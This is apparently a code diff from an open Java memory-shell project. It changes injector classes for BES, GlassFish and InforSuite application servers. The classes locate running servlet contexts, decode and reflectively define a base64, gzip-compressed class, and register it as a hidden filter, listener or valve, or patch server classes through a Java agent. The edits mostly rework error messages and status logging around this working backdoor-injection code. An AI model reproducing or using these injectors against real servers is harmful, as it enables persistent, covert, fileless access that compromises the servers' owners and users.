return c + "(" + r + ")";
}
/** /**
* com.bes.enterprise.webtier.core.DefaultContext * com.bes.enterprise.webtier.core.DefaultContext
* /opt/bes/lib/bes-engine.jar * /opt/bes/lib/bes-engine.jar
@@ -73,22 +100,23 @@ public class BesFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
String filterName = getClassName(); String filterName = getClassName();
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
log.warning("filter already exists");
return; return;
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -110,7 +138,11 @@ public class BesFilterInjector {
Object filterConfig = constructors[0].newInstance(context, filterDef); Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs"); HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig); filterConfigs.put(filterName, filterConfig);
log.info("filter added successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -194,4 +226,19 @@ public class BesFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesListenerInjector { public class BesListenerInjector {
private String msg = "";
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -23,15 +26,42 @@ public class BesListenerInjector {
} }
public BesListenerInjector() { public BesListenerInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
for (Object context : contexts) { } catch (Throwable throwable) {
Object listener = getShell(context); msg += "context error: " + getErrorMessage(throwable);
inject(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
} }
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
@@ -62,15 +92,17 @@ public class BesListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -78,7 +110,6 @@ public class BesListenerInjector {
Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
for (Object eventListener : eventListeners) { for (Object eventListener : eventListeners) {
if (eventListener.getClass().getName().equals(listener.getClass().getName())) { if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
System.out.println("listener already exists");
return; return;
} }
} }
@@ -86,7 +117,11 @@ public class BesListenerInjector {
newListeners.add(listener); newListeners.add(listener);
newListeners.addAll(Arrays.asList(eventListeners)); newListeners.addAll(Arrays.asList(eventListeners));
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()}); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()});
System.out.println("listener added successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -135,7 +170,7 @@ public class BesListenerInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -163,4 +198,19 @@ public class BesListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesValveInjector { public class BesValveInjector {
public BesValveInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,6 +24,45 @@ public class BesValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public BesValveInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -49,53 +79,42 @@ public class BesValveInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
} msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
@SuppressWarnings("all")
public boolean isInjected(Object pipeline) throws Exception {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
return; for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return;
}
} }
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve"); Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
// com.bes.enterprise.webtier.core.DefaultPipeline // com.bes.enterprise.webtier.core.DefaultPipeline
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -142,7 +161,7 @@ public class BesValveInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -170,4 +189,19 @@ public class BesValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -40,7 +40,6 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
} }
} }
} }
@@ -61,6 +60,7 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try { Type[] argumentTypes = Type.getArgumentTypes(descriptor);
Type[] argumentTypes = Type.getArgumentTypes(descriptor); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -40,7 +40,6 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
} }
} }
} }
@@ -61,6 +60,7 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try { Type[] argumentTypes = Type.getArgumentTypes(descriptor);
Type[] argumentTypes = Type.getArgumentTypes(descriptor); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -13,15 +14,12 @@ import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Date: 2022/11/01 * @author pen4uin, ReaJason
* Author: pen4uin
* Description: Tomcat Filter 注入器 Tested version jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author ReaJason
*/ */
public class GlassFishFilterInjector { public class GlassFishFilterInjector {
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -35,18 +33,42 @@ public class GlassFishFilterInjector {
} }
public GlassFishFilterInjector() { public GlassFishFilterInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) { for (Object context : contexts) {
// skip glassfish /osgi context msg += ("context: [" + getContextRoot(context) + "] ");
if (getFieldValue(context, "serverContext") != null) { try {
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
} catch (Exception e) {
e.printStackTrace();
} }
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
/** /**
@@ -79,22 +101,23 @@ public class GlassFishFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception { public void inject(Object context, Object shell) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return; return;
} }
Object filterDef; Object filterDef;
@@ -138,7 +161,11 @@ public class GlassFishFilterInjector {
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(getClassName(), filterConfig); filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -208,6 +235,22 @@ public class GlassFishFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class GlassFishValveInjector { public class GlassFishValveInjector {
public GlassFishValveInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,6 +24,46 @@ public class GlassFishValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public GlassFishValveInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -49,7 +80,7 @@ public class GlassFishValveInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -60,40 +91,38 @@ public class GlassFishValveInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// OSGI 类加载限制,加密相关函数找不到,这儿不得不使用 WebAppClassLoader
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
return; for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return;
}
} }
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object pipeline) throws Exception { public String toString() {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); return msg;
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -141,7 +170,7 @@ public class GlassFishValveInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -169,4 +198,19 @@ public class GlassFishValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.inforsuite;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -14,19 +15,8 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class InforSuiteFilterInjector { public class InforSuiteFilterInjector {
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
public InforSuiteFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -40,6 +30,45 @@ public class InforSuiteFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public InforSuiteFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.cvicse.loong.enterprise.web.WebModule * com.cvicse.loong.enterprise.web.WebModule
* /usr/local/inforsuite/as/modules/web-glue.jar * /usr/local/inforsuite/as/modules/web-glue.jar
@@ -71,22 +100,23 @@ public class InforSuiteFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
String filterName = getClassName(); String filterName = getClassName();
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
log.warning("filter already exists");
return; return;
} }
